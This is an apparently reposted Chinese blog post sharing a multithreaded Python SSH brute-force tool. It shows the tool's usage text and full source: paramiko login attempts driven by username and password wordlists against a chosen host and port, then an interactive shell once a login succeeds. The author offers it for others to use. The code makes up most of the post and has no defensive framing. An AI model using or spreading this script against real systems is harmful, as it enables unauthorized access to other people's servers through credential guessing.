本文共 6228 字，大约阅读时间需要 20 分钟。
今天花了一下午写了个爆破ssh的多线程脚本，debug到新闻联播，队大佬来说是个辣鸡脚本，我在这记录一下，如有需要可以拿去用。
可以直接clone我的github：
PS F:\SSHBF> python .\start.py -hUsage: Usage start.py -H-p Options: -h, --help show this help message and exit -H TGTHOST target host ip -p TGTPORT target host port --uf=USERNAMES_FILE usernames file, txt is adapted --pf=PASSWORDS_FILE passwords file, txt is adapted --timeout=TIMEOUT set timeout defalut 1
能力不够，多线程没有应用好
在windows powershell中linux文件显示中有颜色无法显示（linux terminal正常显示），使用root用户体验更好一些
# -*- coding: utf-8 -*-import socketimport sys# windows does not have termios...try: import termios import tty has_termios = Trueexcept ImportError: has_termios = Falsedef interactive_shell(chan): if has_termios: posix_shell(chan) else: windows_shell(chan)def posix_shell(chan): import select oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = chan.recv(1024) if len(x) == 0: print ('\r\n*** EOF\r\n',) break sys.stdout.write(x.decode(encoding="utf-8")) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)# thanks to Mike Looijmans for this codedef windows_shell(chan): import threading sys.stdout.write("Line-buffered terminal emulation. Press F6 or ^Z to send EOF.\r\n\r\n") def writeall(sock): while True: data = sock.recv(256) if not data: sys.stdout.write('\r\n*** EOF ***\r\n\r\n') sys.stdout.flush() break sys.stdout.write(data.decode()) sys.stdout.flush() writer = threading.Thread(target=writeall, args=(chan,)) writer.start() try: while True: d = sys.stdin.read(1) if not d: break try: chan.send(d) except: return except EOFError: # user hit ^Z or F6 return # -*- coding: utf-8 -*-import paramikoimport interactiveimport optparsefrom threading import *from time import *import threadingTIMEOUT = 1UNFILE = './username_list.txt'PWFILE = './password_list.txt'usernames = []passwords = []"""重新定义带返回值的线程类"""class MyThread(threading.Thread): def __init__(self,func,args=()): super(MyThread,self).__init__() self.func = func self.args = args def run(self): self.result = self.func(*self.args) def get_result(self): try: return self.result except Exception: return None# 锁屏幕 保证一次尝试输出不会错乱 （其实在这个脚本里没有太大必要，在涉及多线程并且多输出的时候效果显著）screenLock = Semaphore(value=1)# 记录日志 （ssh会话日志，非爆破日志）paramiko.util.log_to_file('./log.txt')# 建立ssh连接 返回 paramiko.SSHClient()对象 或者 Nonedef login(Ip, Port, Username, Password, timeout): try: screenLock.acquire() # 锁定屏幕 print('[-] try login:', Username, '@', Password) global ssh ssh=paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(Ip,port=Port,username=Username,password=Password,compress=True,timeout=timeout) # normally port = 22 print('[+] password found! ---(username@passowrd) :',Username,'@',Password) return ssh except: ssh.close() screenLock.release() # 解锁屏幕 return None# 加载密码用户名列表def load(unfile, pwfile): try: f = open(unfile,'r') for un in f.readlines(): un = un[0:-1] # 切除回车 usernames.append(un) f = open(pwfile,'r') for pw in f.readlines(): pw = pw[0:-1] passwords.append(pw) except Exception as e: print(e)# 连接 依赖同文件夹下的interactive.pydef connect(ssh): #建立交互式shell连接 channel=ssh.invoke_shell() #建立交互式管道 interactive.interactive_shell(channel) #关闭连接 channel.close() ssh.close() returndef main(): # 命令解析 parser = optparse.OptionParser('Usage %prog '+ '-H -p ') parser.add_option('-H', dest='tgtHost', type='string',help='target host ip') parser.add_option('-p', dest='tgtPort', type='int',help='target host port') parser.add_option('--uf', dest='usernames_file', type='string',help='usernames file, txt is adapted') parser.add_option('--pf', dest='passwords_file', type='string',help='passwords file, txt is adapted') parser.add_option('--timeout', dest='timeout', type='int',help='set timeout defalut 1') (options,args) = parser.parse_args() Ip = options.tgtHost Port = options.tgtPort # 如果给定了这两个参数就使用，否则就使用默认值 unfile = UNFILE pwfile = PWFILE timeout = TIMEOUT if options.usernames_file != None: unfile = options.usernames_file if options.passwords_file != None: pwfile = options.passwords_file if options.timeout != None: timeout = options.timeout # 载入用户名和密码列表 load(unfile,pwfile) # 线程爆破 threads = [] # 线程池 ssh = None # 保存线程返回的会话 for Username in usernames: for Password in passwords: t = MyThread(func=login, args=(Ip,Port,Username,Password,timeout)) threads.append(t) # 开启线程 for i in range(len(usernames)*len(passwords)): threads[i].start() threads[i].join() if threads[i].get_result() != None: ssh = threads[i].get_result() break if ssh == None: pass else: ch = input("[+] 是否进入shell？(Y/n)") if ch == 'n': pass else: connect(ssh) print("[-] Done at ",ctime()) returnif __name__ == '__main__': main()
参考
转载地址：http://ljoen.baihongyu.com/